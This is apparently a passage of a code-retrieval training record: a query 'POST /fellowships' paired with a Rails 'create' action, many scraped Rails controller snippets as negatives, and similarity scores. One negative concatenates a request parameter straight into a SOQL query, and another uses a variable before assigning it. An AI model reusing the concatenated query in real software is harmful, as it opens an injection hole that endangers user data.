show.html.erb\n format.json { render json: @guardianship }\n end\n end", "def show\n @championship = Championship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @championship }\n end\n end", "def index\n @championships = Championship.all\n\n render json: @championships\n end", "def index\n @followships = Followship.all\n end", "def route\n hitch = Hitch.find(params[:hitch_id])\n render json: hitch.geojson\n end", "def show\n @internship = Internship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @internship }\n end\n end", "def index\r\n @followships = Followship.all\r\n end", "def show\n @neighborhood = Neighborhood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @neighborhood }\n end\n end", "def index\n @girlfriends = Girlfriend.all\n render json: @girlfriends, status: 200 \n end", "def show\n @internship = Internship.find(params[:id])\n\n respond_to do |format|\n format.html \n format.json { render :json => @internship }\n end\n end", "def index\n logger.info(\"-------------->index Friendship session #{session[:login]}\");\n if request.format.json?\n friendships_instance =Friendship.new\n @friendships = friendships_instance.getMyfriends(session[:login]); \n else \n @friendships=Friendship.where(user_id: session[:login])\n end\n\n end", "def show\n render json: @games_leaderboard\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def update\n respond_to do |format|\n if @fellowship.update(fellowship_params)\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully updated.' }\n format.json { render :show, status: :ok, location: @fellowship }\n else\n format.html { render :edit }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fellowship = Fellowship.new(fellowship_params)\n @fellowship.users << current_user\n\n # Capitalize fellowship name\n @fellowship.fellowship_name = @fellowship.fellowship_name.titleize\n\n respond_to do |format|\n if @fellowship.save\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully created.' }\n format.json { render :show, status: :created, location: @fellowship }\n else\n format.html { render :new }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n puts @fleet.id\n @ship_hash = @fleet.get_ships\n end", "def show\n @book_usership = BookUsership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_usership }\n end\n end", "def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end", "def index\n @player_ships = PlayerShip.all\n end", "def find_friendship\n @friendship = current_user.friendships.find_by_user_id_and_friend_id(current_user.id, @friend_id)\n end", "def show\n @rooster = Rooster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rooster }\n end\n end", "def show\n @nightclub = Nightclub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nightclub }\n end\n end", "def show\n @flower_ships = FlowerShip.where(flower_order_id: @flower_order.id)\n end", "def destroy\n @fellowship.destroy\n respond_to do |format|\n format.html { redirect_to fellowships_url, notice: 'Fellowship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @roster = Roster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @roster }\n end\n end", "def show\n @golfer = Golfer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @golfer }\n end\n end", "def show\n @leaderboard = Leaderboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leaderboard }\n end\n end", "def show\n @warrior = Warrior.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @warrior }\n end\n end", "def show\n @warrior = Warrior.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @warrior }\n end\n end", "def show\n @ship = Ship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ship }\n end\n end", "def show\n @family_crest = FamilyCrest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_crest }\n end\n end", "def show\n @favorite_flyer = FavoriteFlyer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favorite_flyer }\n end\n end", "def show\n @colleague = Colleague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colleague }\n end\n end", "def show\n @colleague = Colleague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colleague }\n end\n end", "def index\n @guardianships = Guardianship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guardianships }\n end\n end", "def show\n @faction = Faction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faction }\n end\n end", "def index\n @friends = Friend.all\n render json: @friends\n end", "def index\n respond_to do |format|\n format.json {\n user_leaderboard = []\n userid = params[:user_id]\n if userid\n # First, get the list of leaderboard values for current user\n current_user = User.find(userid)\n user_leaderboard << get_leaderboard_values_for_user(userid, current_user.fbid, current_user.fb_name, current_user.membertime)\n\n # Then, get leaderboard values for user's friends\n fbid_array = current_user.fb_friends\n if fbid_array.length > 0\n fbid_array = fbid_array.split(\"|\")\n friends_list = User.where(\"fbid in (?)\", fbid_array)\n\n friends_list.each do |friend|\n user_leaderboard << get_leaderboard_values_for_user(friend.id, friend.fbid, friend.fb_name, friend.membertime)\n end\n end\n\n log_event(:user_leaderboard, :get, user_leaderboard)\n render json: user_leaderboard.as_json\n else\n create_error(:unprocessable_entity, :get, \"\", \"Missing user\")\n end\n }\n end\n end", "def show\n @zombie_sighting = ZombieSighting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @zombie_sighting }\n end\n end", "def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end", "def followers\n @followers = @user.followers\n\n respond_to do |format|\n format.html\n format.json { render :json => { :followers => @followers.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def show\n render json: @onboarding\n end", "def show\n #@my_ministry = MyMinistry.find(params[:id])\n @coworker = Coworker.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_ministry }\n end\n end", "def show\n @spaceship = Spaceship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spaceship }\n end\n end", "def show\n @military_battle_faction_result = Military::BattleFactionResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @military_battle_faction_result }\n end\n end", "def show\n @community_health_worker = CommunityHealthWorker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @community_health_worker }\n end\n end", "def index\n @request_friendships = RequestFriendship.all\n end", "def destroy\n @friendship = @user.friendships.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to game_user_friendships_url }\n format.json { head :no_content }\n end\n end", "def show\n @fishing_method = FishingMethod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fishing_method }\n end\n end", "def friendships_incoming(options = {})\n @req.get(\"/1.1/friendships/incoming.json\", options)\n end", "def follows\n @follows = @user.follows\n\n respond_to do |format|\n format.html\n format.json { render :json => { :follows => @follows.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def show\n #@friendship = Friendship.where(fitpartner_user: params[:id])\n @friendship = Friendship.where(:fitpartner_id => params[:id], :user_id => current_user.id).count\n end", "def show\n @badge = Badge.find(params[:id])\n @users = @badge.users\n respond_with @badge\n end", "def friendship_finder(user_2)\n Friendship.where(user_id: [self.id, user_2.id], friend_id: [self.id, user_2.id]).first\n end", "def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end", "def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end", "def index\n @winners = Winner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winners }\n end\n end", "def index\n @kinships = Kinship.all\n end", "def new\n @primary = current_user\n @friendship = Friendship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friendship }\n end\n end", "def show\n @family = get_family(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end", "def index\n @ships = Ship.all\n end", "def index\n @ships = Ship.all\n end", "def show\n @pokeparty = Pokeparty.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pokeparty }\n end\n end", "def index\n @fleet_ships = FleetShip.all\n end", "def get_favourite_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.favourites\n\n render status: 200, json: @restaurants\n end", "def new\n @friendship = Friendship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friendship }\n end\n end", "def new\n @friendship = Friendship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friendship }\n end\n end", "def show\n @board_info = BoardInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @board_info }\n end\n end", "def show\n # Get shipment from Postgres DB\n @shipment = Shipment.find(params[:id])\n \n # Get shadow object from database.com\n @shadow_obj = client.query(\"SELECT Id, Name FROM \" + \n \"ShipmentChatter__c WHERE Name = \\'\" << params[:id] << \"\\'\")\n @id = @shadow_obj[0].Id\n \n # Get Chatter feed for shadow object\n @feed = client.query(\"SELECT Body, InsertedById FROM \" +\n \"FeedItem WHERE ParentId = \\'\" + @id + \"\\' ORDER BY CreatedDate\")\n \n # Get User list for identifying Chatter post user\n @user_list = Hash.new()\n raw_user_list = client.query(\"SELECT Id, Name FROM User\")\n raw_user_list.each do |user|\n @user_list[user.Id] = user.Name\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shipment }\n end\n end", "def show\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_member }\n end\n end", "def show\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_member }\n end\n end", "def show\n @fight = Fight.find(params[:id])\n @fighters = [@fight.fighter_one, @fight.fighter_two]\n @pick = Pick.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fight }\n end\n end", "def show\n @relationship = Relationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relationship }\n end\n end", "def show\n scope = jsonapi_scope(Streak.where(id: params[:id]))\n logger.info \"#{\"*\"*80}IN THE STREAKS CONTROLLER This Here are the team_players: #{instance.team_players.map(&:color).join(\",\")}\"\n instance = scope.resolve.first\n raise JsonapiCompliable::Errors::RecordNotFound unless instance\n render_jsonapi(instance, scope: false)\n end" ]
[ "0.743488", "0.6932207", "0.6730921", "0.6684906", "0.65486324", "0.65461636", "0.63578725", "0.6356778", "0.63304085", "0.63263345", "0.63263345", "0.6281293", "0.62437433", "0.62437433", "0.62431085", "0.61480373", "0.6140587", "0.61285144", "0.6128125", "0.6118599", "0.6099486", "0.6085033", "0.60798657", "0.6026875", "0.60142267", "0.60059285", "0.5963452", "0.5931692", "0.592329", "0.5905135", "0.5901165", "0.5886271", "0.5884187", "0.58732116", "0.58596736", "0.5852814", "0.58512175", "0.58512175", "0.58512175", "0.58512175", "0.5839294", "0.5828846", "0.5823605", "0.58187526", "0.58026874", "0.5802219", "0.578798", "0.5782789", "0.57780796", "0.57497877", "0.5745505", "0.5743201", "0.5731215", "0.57005036", "0.5683866", "0.5683866", "0.5676505", "0.5668014", "0.5656106", "0.56446546", "0.56446546", "0.5636536", "0.5615975", "0.5615663", "0.5610087", "0.5605122", "0.55984443", "0.5596314", "0.55885285", "0.5586766", "0.55709213", "0.55589557", "0.555292", "0.5551493", "0.5551474", "0.55502", "0.5549227", "0.5542798", "0.5542171", "0.553693", "0.55325294", "0.5517722", "0.55170983", "0.5511844", "0.5504008", "0.55034345", "0.5501101", "0.5499957", "0.5499957", "0.5499282", "0.5499164", "0.54956186", "0.5492131", "0.5492131", "0.54885143", "0.54860145", "0.54857945", "0.54857945", "0.54838705", "0.5476062", "0.5472285" ]
0.0
-1
POST /fellowships POST /fellowships.json
def create @fellowship = Fellowship.new(fellowship_params) @fellowship.users << current_user # Capitalize fellowship name @fellowship.fellowship_name = @fellowship.fellowship_name.titleize respond_to do |format| if @fellowship.save format.html { redirect_to @fellowship, notice: 'Fellowship was successfully created.' } format.json { render :show, status: :created, location: @fellowship } else format.html { render :new } format.json { render json: @fellowship.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def friendships_create(options = {})\n @req.post(\"/1.1/friendships/create.json\", options)\n end", "def create\n @friendship = @user.friendships.new(params[:friendship])\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to [@game, @user, @friendship], notice: 'Friendship was successfully created.' }\n format.json { render json: [@game, @user, @friendship], status: :created, location: [@game, @user, @friendship] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def fellowship_params\n params.require(:fellowship).permit(:fellowship_name, :user_id, :fellowship_description)\n end", "def create_friendship(user = nil, params = {})\n args = [user, params]\n post path_from_args('friendships/create', args), {:follow => true}.merge(params_from_args(args))\n end", "def create\n @friendship = current_person.friendships.build(:granter_id => params[:granter_id], :accepted => params[:accepted])\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to people_url, notice: 'A friend request has been sent to ' + Person.find(params[:granter_id]).name }\n format.json { render :show, status: :created, location: @friendship }\n else\n format.html { render :new }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # prevent user from adding friends who are already on friends list.\n if @friendship\n render json: { Message: \"You're already friends!\" }, status: :unprocessable_entity\n else\n @friend = current_user.friendships.create(:friend_id => @friend_id)\n render json: @friend, status: 201\n end\n end", "def index\n @fellowships = Fellowship.all\n end", "def create\n @user = User.find_by(:email => friendship_params[:email])\n if @user.nil?\n render json: { error: \"Cannot find user with specified email\"}, status: 400\n else\n id = @user.firstName\n if Friendship.exists?(:user_id => @current_user.id, :friend_id => @user.id)\n render json: { error: 'Already Friends'}, status: 400\n else\n @friendship = @current_user.friendships.build(:friend_id => @user.id)\n if @friendship.save\n @friend_user = @friendship.friend\n @inverse_friendship = @friend_user.friendships.build(:friend_id => @current_user.id)\n if @inverse_friendship.save\n render json: @friendship, status: :created\n else\n render json: @inverse_friendship.errors, status: :unprocessable_entity\n end\n else\n render json: @friendship.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def create\n user = User.find(params[:user_id])\n friendship = current_user.friendships.build(friend: user)\n if friendship.save\n reciprocal_friendship = user.friendships.build(friend: current_user)\n if reciprocal_friendship.save\n request_1 = FriendshipRequest.find_by(sender: current_user, recipient: user)\n request_2 = FriendshipRequest.find_by(sender: user, recipient: current_user)\n request_1.destroy if request_1\n request_2.destroy if request_2\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: \"You and #{user.name} are now friends!\") }\n format.json do\n render json: {\n friendship: {\n name: current_user.name,\n id: current_user.id\n },\n message: \"You and #{user.name} are now friends!\"\n }\n end\n end\n else\n friendship.destroy\n redirect_back(fallback_location: root_path, notice: \"There was an error creating the friendship\")\n end\n else\n redirect_back(fallback_location: root_path, notice: \"There was an error creating the friendship\")\n end\n end", "def create\n Friendship.request(@user, @friend)\n @friend = Friendship.find_by_user_id_and_friend_id(@user, @friend)\n render :json => { :success => true, :new_friend => @friend }\n end", "def create\n @friendship = Friendship.new\n @friendship.user1_id = current_user.id\n @friendship.user2_id = @owner.id\n @friendship.approved = false\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to friendships_main_path, flash: { :success => 'Request of friendship was successfully sent.' } }\n format.json { render :index, status: :created, location: @friendship }\n else\n set_index_friendships\n format.html { render :index }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @friendship = Friendship.new(friendship_params)\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to @friendship, notice: 'Friendship was successfully created.' }\n format.json { render :show, status: :created, location: @friendship }\n else\n format.html { render :new }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @friendship = Friendship.new(params[:friendship])\n current_user.un_black_ball(@friendship.proposee)\n @user = @friendship.proposee\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to @friendship, notice: \"Your Friend Request was sent\" }\n format.json { render json: @friendship, status: :created, location: @friendship }\n format.js {}\n else\n format.html { render action: \"new\" }\n format.js {}\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_fellowship\n @fellowship = Fellowship.find(params[:id])\n end", "def update\n respond_to do |format|\n if @fellowship.update(fellowship_params)\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully updated.' }\n format.json { render :show, status: :ok, location: @fellowship }\n else\n format.html { render :edit }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@user = User.find(:first, \n # :conditions => [ \"username = ?\", params[:friendship][:user_id] ])\n\n @friend = User.find(:first,\n :conditions => [ \"username = ?\", params[:friendship][:friend_id] ])\n\n @friendship = Friendship.new({ \n user_id: current_user.id, \n friend_id: @friend.id,\n ignore: false\n })\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to friendships_url, notice: 'Friendship was successfully created.' }\n format.json { render json: @friendship, status: :created, location: @friendship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @championship = Championship.new(championship_params.merge(user: current_user))\n\n if @championship.save\n render json: @championship, status: :created, location: @championship\n else\n render json: @championship.errors, status: :unprocessable_entity\n end\n end", "def create\n logger.debug('In the create method afterall')\n logger.debug( friend_params )\n current_user.friendships.create!(:friend_id => params[:friend_id]) \n\n redirect_to friendship_index_path\n end", "def friend\n @user.friendships.build(friend_id: @friend.id)\n if @user.save\n render json: { success: true }\n else\n render json: {message: @user.errors&.messages || 'Unable add as friend, please try again'}, status: 202\n end\n end", "def create\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id])\n if @friendship.save\n flash[:notice] = t('friendship.create')\n else\n flash[:notice] = t('friendship.create_error')\n end\n redirect_to friendships_path\n end", "def create\n @township = Township.new(township_params)\n\n respond_to do |format|\n if @township.save\n format.html { redirect_to @township, notice: 'Township was successfully created.' }\n format.json { render :show, status: :created, location: @township }\n else\n format.html { render :new }\n format.json { render json: @township.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @internship = @user.internships.build(params[:internship])\n #@internship = Internship.new(params[:internship])\n\n respond_to do |format|\n if @internship.save\n format.html { redirect_to @internship, notice: 'Internship was successfully created.' }\n format.json { render json: @internship, status: :created, location: @internship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @internship.errors, status: :unprocessable_entity }\n end\n end\n end", "def request_friendship(user_2)\n \tself.friendships.create(friend: user_2)\n end", "def create\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id])\n @friendship.status = \"SENT\"\n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to root_url\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to root_url\n end\n end", "def create\n @followship = Followship.new(followship_params)\n\n respond_to do |format|\n if @followship.save\n format.html { redirect_to @followship, notice: 'Followship was successfully created.' }\n format.json { render :show, status: :created, location: @followship }\n else\n format.html { render :new }\n format.json { render json: @followship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @followship = Followship.create(:follower_id => current_user.id, :following_id => followship_params[:following_id])\n\n respond_to do |format|\n if @followship.save\n format.html { redirect_to @followship, notice: 'Followship was successfully created.' }\n format.json { render :show, status: :created, location: @followship }\n else\n format.html { render :new }\n format.json { render json: @followship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # render json: params\n render json: UserBoards.create(params[\"user_board\"])\n end", "def create\n @internships_user = InternshipsUser.new(params[:internships_user])\n\n respond_to do |format|\n if @internships_user.save\n format.html { redirect_to @internships_user, :notice => 'Internships user was successfully created.' }\n format.json { render :json => @internships_user, :status => :created, :location => @internships_user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @internships_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @clientship = current_user.clientships.build(:client_id => params[:client_id], :fee => params[:fee])\n\n respond_to do |format|\n if @clientship.save\n format.html { redirect_to @clientship, notice: 'Clientship was successfully created.' }\n format.json { render json: @clientship, status: :created, location: @clientship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clientship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plant = Plant.find(params[:plant])\n @friendship = @plant.friendships.build(:friend_id => params[:friend])\n if @friendship.save\n flash[:notice] = \"added friend\"\n redirect_to request.referrer\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to request.referer\n end\n end", "def create\n @user=User.find(params[:uid])\n friend=User.find(params[:fid])\n #make sure the friend and user exist\n if(friend && @user)\n #Check to see if the friendship already exists\n friendShip=Friendship.find_by_user_id_and_friend_id(@user.id, friend.id)\n if(friendShip)\n #If there is a friendship between the two users, continue as normal\n #Change the type of friendship to Confirmed.\n #The users will then show up on each others maps.\n #The logic for this is in the users model\n friendShip.type='ConfirmedFriendship'\n respond_to do |format|\n if friendShip.save\n #Then do it again for the inverse relationship (see the new method for an explanation of why this is necessary)\n friendShip=Friendship.find_by_user_id_and_friend_id(friend.id, @user.id)\n #Change the type of friendship to Confirmed.\n #The users will then show up on each others maps.\n #The logic for this is in the users model\n friendShip.type='ConfirmedFriendship'\n session[:user_id][email protected]\n if friendShip.save\n format.html { redirect_to \"http://54.235.20.117:3000/users/#{@user.id}.html\", notice: 'Friendship was successfully created.' }\n format.json { render json: {:created => 'true', :exists => 'true', :friends => 'false'}}\n else\n format.html { redirect_to @user, notice: 'Something went wrong!'}\n format.json { render json: {:created => 'false', :friends => 'false', :exists => 'true'}}\n end\n else\n format.html { redirect_to @user, notice: 'Something went wrong!'}\n format.json {render json: {:friends => 'false', :exists => 'false', :created => 'false'}}\n end\n end\n else\n #If the friendship doesn't exist, don't create the friendship. This will never be sent to the app\n #So the important part is the html response.\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Something went wrong! According to our records, this friendship was never requested!'}\n format.json {render json: {:friends => 'false', :exists => 'false', :created => 'false'}}\n end\n end\n else\n #If the user does not exist, inform the user that their link was incorrect.\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Something went wrong! According to our records, you do not exist!'}\n format.json {render json: {:friends => 'false', :exists => 'false', :created => 'false'}}\n end\n end\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :create, :destroy)\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :create, :destroy)\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :create, :destroy)\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :create, :destroy)\n end", "def request_friendship(user_2)\n self.friendships.create(friend: user_2)\n end", "def create\r\n @followship = Followship.new(followship_params)\r\n\r\n respond_to do |format|\r\n if @followship.save\r\n format.html { redirect_to @followship, notice: 'Followship was successfully created.' }\r\n format.json { render :show, status: :created, location: @followship }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @followship.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def friendships_update(options = {})\n @req.post(\"/1.1/friendships/update.json\", options)\n end", "def destroy\n @fellowship.destroy\n respond_to do |format|\n format.html { redirect_to fellowships_url, notice: 'Fellowship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @player_ship = PlayerShip.new(player_ship_params)\n\n respond_to do |format|\n if @player_ship.save\n format.html { redirect_to @player_ship, notice: 'Player ship was successfully created.' }\n format.json { render :show, status: :created, location: @player_ship }\n else\n format.html { render :new }\n format.json { render json: @player_ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @society_member_ship = SocietyMemberShip.new(society_member_ship_params)\n\n respond_to do |format|\n if @society_member_ship.save\n format.html { redirect_to @society_member_ship, notice: 'Society member ship was successfully created.' }\n format.json { render :show, status: :created, location: @society_member_ship }\n else\n format.html { render :new }\n format.json { render json: @society_member_ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @friendship = current_user.friendships.build(friend_id: params[:friend_id])\n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to root_url\n else\n flash[:alert] = \"Unable to add friend.\"\n redirect_to root_url\n end\n end", "def create\n @championship = Championship.new(championship_params)\n\n if @championship.save\n render :show, status: :created, location: @championship\n else\n render json: @championship.errors, status: :unprocessable_entity\n end\n end", "def create\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id], approved: \"false\")\n if @friendship.save\n flash[:notice] = \"Friend requested.\"\n redirect_to :back\n else\n flash[:error] = \"Unable to request friendship.\"\n redirect_to :back\n end\n end", "def create\n @friendship = current_user.friendships.build(:friend_id => params[:id])\n \n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to root_path\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to root_path\n end\n end", "def create\n @food = @fridge.foods.create(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end", "def create\n @request_friendship = RequestFriendship.new(request_friendship_params)\n\n respond_to do |format|\n if @request_friendship.save\n format.html { redirect_to @request_friendship, notice: 'La solicitud de amistad se ha creado correctamente' }\n format.json { render :show, status: :created, location: @request_friendship }\n else\n format.html { render :new }\n format.json { render json: @request_friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :user_name, :friend_id, :friend_name)\n end", "def create\n user = User.find(params[:friend_id])\n if current_user == user\n redirect_to root_path, notice: \"You can't send request to yourself\"\n return\n elsif Friendship.where(friend_id: user.id, user_id: current_user, confirm: false).exists?\n redirect_to root_path, notice: \"Friend request already sent\"\n return\n elsif Friendship.where(friend_id: current_user, user_id: user.id, confirm: false).exists?\n redirect_to root_path, notice: \"This user already sent friend request to you. Respond to it!\"\n return\n end\n @friendship = current_user.friendships.build(friend_id: user.id)\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to root_path, notice: \"Friends request sent\" }\n format.json { render :show, status: :created, location: @friendship }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @internship = Internship.new(params[:internship])\n\n respond_to do |format|\n if @internship.save\n format.html { redirect_to @internship, notice: 'Internship was successfully created.' }\n format.json { render json: @internship, status: :created, location: @internship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @internship.errors, status: :unprocessable_entity }\n end\n end\n end", "def friendships_params\n params.require(:friendships).permit(:user_id, :friend_id, :confirmed)\n end", "def friend(other_user)\n friendships.create!(friend_id: other_user.id)\n end", "def create\n if request.format.json?\n @friendship = Friendship.new(friend_id: params[:friend_id])\n @friendship.user_id = session[:login]\n @friendship.save\n render :text => \"#{@friendship.id}\"\n else\n @friendship = Friendship.new\n friendship = params[:friendship]\n @friendship.friend_id = friendship[:friend_id]\n @friendship.user_id = session[:login]\n if @friendship.save\n redirect_to friendships_url \n else\n render action: 'new' \n end\n end\n end", "def create\n \n @friendship1 = current_user.friendships.build(:friend_id => params[:friend_id], approved: \"false\")\n @friendship1.original = true\n @user_being_friended = User.find(params[:friend_id])\n @friendship2 = @user_being_friended.friendships.build(:friend_id => current_user.id, approved: \"false\")\n @friendship2.original = false\n if !(Friendship.where(friend_id: params[:friend_id], user_id: current_user.id).count >= 1)\n if @friendship1.save && @friendship2.save\n flash[:notice] = \"Friend requested.\"\n redirect_to :back\n else\n flash[:error] = \"Unable to request friendship.\"\n redirect_to :back\n end\n else\n flash[:notice] = \"Friend requested again.\"\n redirect_to :back\n end\n end", "def request_friendship (user_2)\n #self will be current user (user_1)\n self.friendships.create(friend: user_2)\n end", "def friendship_params\n params.fetch(:friendship).permit(:user_id, :friend_id)\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved, :create, :destroy)\n end", "def create\n @game = Game.find(params[:game_id])\n @game.authorships.create_from_names(params[:authorship])\n respond_to do |format|\n flash[:notice] = 'Les autheurs sont enregistres'\n format.html { redirect_to game_path(@game) }\n format.xml { head :created, :location => authorship_url(@authorship) }\n end\n end", "def create\n @friendship = current_user.friendships.build(friend_id: params[:friend_id])\n @valid = @friendship.save\n respond_to do |format|\n format.html do\n if @valid\n flash[:success] = \"Friended.\"#{@friendship.friend.username} \n else\n flash[:error] = \"Unable to add friend.\"\n end\n redirect_to :back\n end\n format.js do\n if current_user.mutual_friends.include? @friendship.friend\n @new_friend = @friendship.friend\n inverse_friendship = current_user.inverse_friendships.where(user: @friendship.friend).first\n end\n end\n end\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id)\n end", "def create\n @fostered = Fostered.new(fostered_params)\n\n respond_to do |format|\n if @fostered.save\n format.html { redirect_to @fostered, notice: 'Fostered was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fostered }\n else\n format.html { render action: 'new' }\n format.json { render json: @fostered.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @neighbourhood = Neighbourhood.new(neighbourhood_params)\n\n respond_to do |format|\n if @neighbourhood.save\n format.html { redirect_to @neighbourhood, notice: 'Neighbourhood was successfully created.' }\n format.json { render :show, status: :created, location: 